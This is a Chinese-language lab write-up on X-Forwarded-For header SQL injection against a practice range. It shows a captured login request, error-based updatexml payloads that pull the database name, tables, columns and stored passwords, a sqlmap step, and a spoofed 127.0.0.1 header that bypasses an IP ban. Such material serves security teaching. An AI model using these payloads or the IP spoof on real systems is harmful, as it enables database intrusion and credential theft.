XFF是什么?
X-Forwarded-For:简称XFF,是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])。
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
XFF注入
XFF注入属于HTTP头注入的一部分。其他HTTP头注入点还有UA(User-Agent)、Referer、Cookie、Host。
该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
那么为什么会产生XFF注入呢?因为一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件
练习
在墨者学院XFF注入靶场可以练手
登陆抓包:
POST /index.php HTTP/1.1
Host: 219.153.49.228:46109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language:xml zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
X-Forwarded-for: *
Upgrade-Insecure-Requests: 1
username=admin&password=admin
手动报错注入
数据库名
1’ and updatexml(1,concat(0x7e,database(),0x7e),1), ‘
表名
1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)), ‘
字段/列名
1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’logins’ limit 0,1),0x7e),1)), ‘
具体内容
1’ and updatexml(1,concat(0x7e,(select password from logins),0x7e),1)), ‘
sqlmap
手动添加X-Forwarded-for:
注意点:在XFF后面添加能让sqlmap重点扫描,另外XFF和下面Body中的user=admin之间必须隔开一行(因为XFF属于head头,POST参数属于Body体),否则会报错。
使用sqlmap即可跑出。
发现随意输入用户名密码后被禁止IP,正确用户名:admin,密码:test123怎么才能绕过IP检测?
如图手动添加一个X-Forwarded-For:127.0.0.1。让目标认为是自身IP从而得到flag。
